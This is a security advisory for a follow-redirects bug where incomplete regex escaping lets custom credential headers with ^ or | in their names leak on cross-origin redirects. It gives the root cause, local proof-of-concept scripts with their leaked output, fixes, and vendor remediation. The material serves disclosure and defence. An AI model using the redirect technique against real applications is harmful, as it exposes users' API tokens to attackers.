CVE-2026-111755: follow-redirects sensitiveHeaders regex escaping can expose credential headers
Summary follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.
Details The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:
js this.headerFilter = new RegExp("^(?:" + sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") + ")$", "i");
escapeRegex at index.js:703-705:
js function escapeRegex(regex) { return regex.replace(/[\]\\/()+?.$]/g, "\\$&"); // escapes ] \ / ( ) + ? . $ -- NOT ^ | [ { } }
The character class escapes ], \, /, (, ), , +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node's http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, } with ERRINVALIDHTTPTOKEN, so ^ and | are the reachable vectors for a silent credential leak. Separately, although [, {, } cannot appear as live header names, declaring a sensitiveHeaders entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter RegExp throws a SyntaxError in the RedirectableRequest constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.
For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:
- A name containing ^, for example X-Api^Key, yields the alternative X-Api^Key inside the pattern. The ^ becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. test("X-Api^Key") returns false, and the header is not stripped. - A name containing |, for example X-Token|Secret, is split into two separate alternatives X-Token and Secret. The real header X-Token|Secret is never matched (not stripped), while unrelated headers literally named X-Token or Secret would be stripped instead.
The generated filter source, reproduced from the exact library logic, is: ^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$ Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.
Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this.options, ...) hook and the subsequent sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this.headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.
Suggested remediation: two changes close both facets.
1. Escape the complete set of regular-expression metacharacters: js function escapeRegex(str) { return str.replace(/[.+?^${}()|[\]\\]/g, "\\$&"); } This was verified to restore correct matching for all affected names while preserving the built-in matches.
2. Build the filter at strip time, or rebuild it after the beforeRedirect hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached this.headerFilter with a this.getHeaderFilter() that constructs the RegExp from the current this.options.sensitiveHeaders on each redirect.
Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.
References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/pull/284 - https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9
PoC Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.
Facet 1, metacharacter header names, leak.js: js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:45902/" }); // cross-origin (different port) res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); // attacker-controlled target }); redirector.listen(45901, "127.0.0.1", function () { collector.listen(45902, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 45901, path: "/", headers: { "X-Api^Key": "SECRET-LEAKED-1", // declared sensitive, name contains ^ "X-Token|Secret": "SECRET-LEAKED-2", // declared sensitive, name contains | "X-Control-Key": "SHOULD-BE-STRIPPED", // declared sensitive, normal name (control) "Authorization": "Bearer BUILTIN-CTL" // built-in list (control) }, sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("X-Api^Key :", h["x-api^key"] || "(stripped)"); console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)"); console.log("X-Control-Key :", h["x-control-key"] || "(stripped - OK)"); console.log("Authorization :", h["authorization"] || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); Observed output (1.16.0): X-Api^Key : SECRET-LEAKED-1 <- credential LEAKED to redirect target X-Token|Secret : SECRET-LEAKED-2 <- credential LEAKED to redirect target X-Control-Key : (stripped - OK) <- control: option works for normal names Authorization : (stripped - OK) <- control: built-in list works The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.
Root-cause and fix verification (pure regex logic, no network): js var builtin = ["Authorization", "Proxy-Authorization", "Cookie"]; function escCurrent(s) { return s.replace(/[\]\\/()+?.$]/g, "\\$&"); } // library's escaper function escFixed(s) { return s.replace(/[.+?^${}()|[\]\\]/g, "\\$&"); } // canonical escaper function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); } var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]; var cur = build(escCurrent, declared), fix = build(escFixed, declared); ["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n))); // both false ["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed ", n, fix.test(n))); // both true ["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n))); // both true (wrong) Observed: current filter returns false for both metacharacter names and true for the unrelated X-Token and Secret; the fixed filter returns true for all declared names and still true for the built-ins.
Reachability of the vectors: node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});' Observed: X-A^B and X-A|B ACCEPTED; X-A[B, X-A{B, X-A}B REJECTED with ERRINVALIDHTTPTOKEN.
Facet 2, entry declared inside beforeRedirect, leak2.js: js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); redirector.listen(46201, "127.0.0.1", function () { collector.listen(46202, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 46201, path: "/", headers: { "X-Late": "LATE-DECLARED-VALUE" }, beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); } }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)"); redirector.close(); collector.close(); }); }).end(); }); }); Observed output (1.16.0): X-Late forwarded to redirect target: LATE-DECLARED-VALUE (the late-declared name is not stripped).
Impact This is an information-disclosure vulnerability: silent failure of the sensitiveHeaders cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the sensitiveHeaders option to protect a custom credential-bearing header whose name contains ^ or |, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the sensitiveHeaders option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.
Other sources
follow-redirects is a Node.js HTTP and HTTPS client wrapper that automatically follows redirects. From 1.16.0 until 1.16.1, escapeRegex leaves valid header-name metacharacters unescaped in sensitiveHeaders. When an application declares a sensitive header whose name contains ^ or | and follows a cross-origin or HTTPS-to-HTTP redirect, unescaped regular-expression metacharacters prevent the generated filter from matching the declared header name, and the credential header is forwarded to an attacker-controlled redirect target. This issue is fixed in version 1.16.1.
— Ubuntu
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/follow-redirectsto a version that resolves this vulnerability.Fixed in 1.16.1 - Upgrade
Upgrade
debian/node-follow-redirectsto a version that resolves this vulnerability.Fixed in 1.16.1+~1.14.4-1 - Upgrade
Upgrade
follow-redirectsto a version that resolves this vulnerability.Fixed in 1.16.1 - Compensating control
Build the sensitive-header filter from the current options at strip time, or rebuild it after the beforeRedirect hook re-sanitizes options, so entries added inside the hook are enforced.
- Compensating control
Validate each options.sensitiveHeaders entry against the RFC 9110 token character set and throw an explicit error for invalid names.
Event History
Frequently Asked Questions
Which applications are exposed to credential-header forwarding?
Applications using follow-redirects from 1.16.0 through before 1.16.1 are exposed if they declare a sensitive header whose name contains ^ or | and follow a cross-origin or HTTPS-to-HTTP redirect.
What must an attacker be able to do to exploit this issue?
The attacker needs to cause the client to follow a redirect to an attacker-controlled target. The vulnerable request must include a declared sensitive header with a name containing ^ or |.
Are all sensitive headers affected?
No. The issue applies to declared sensitive header names containing the ^ or | regular-expression metacharacters; those characters can prevent the generated filter from matching the header name.
What is the remediation?
Update follow-redirects to version 1.16.1, which fixes the regex escaping issue.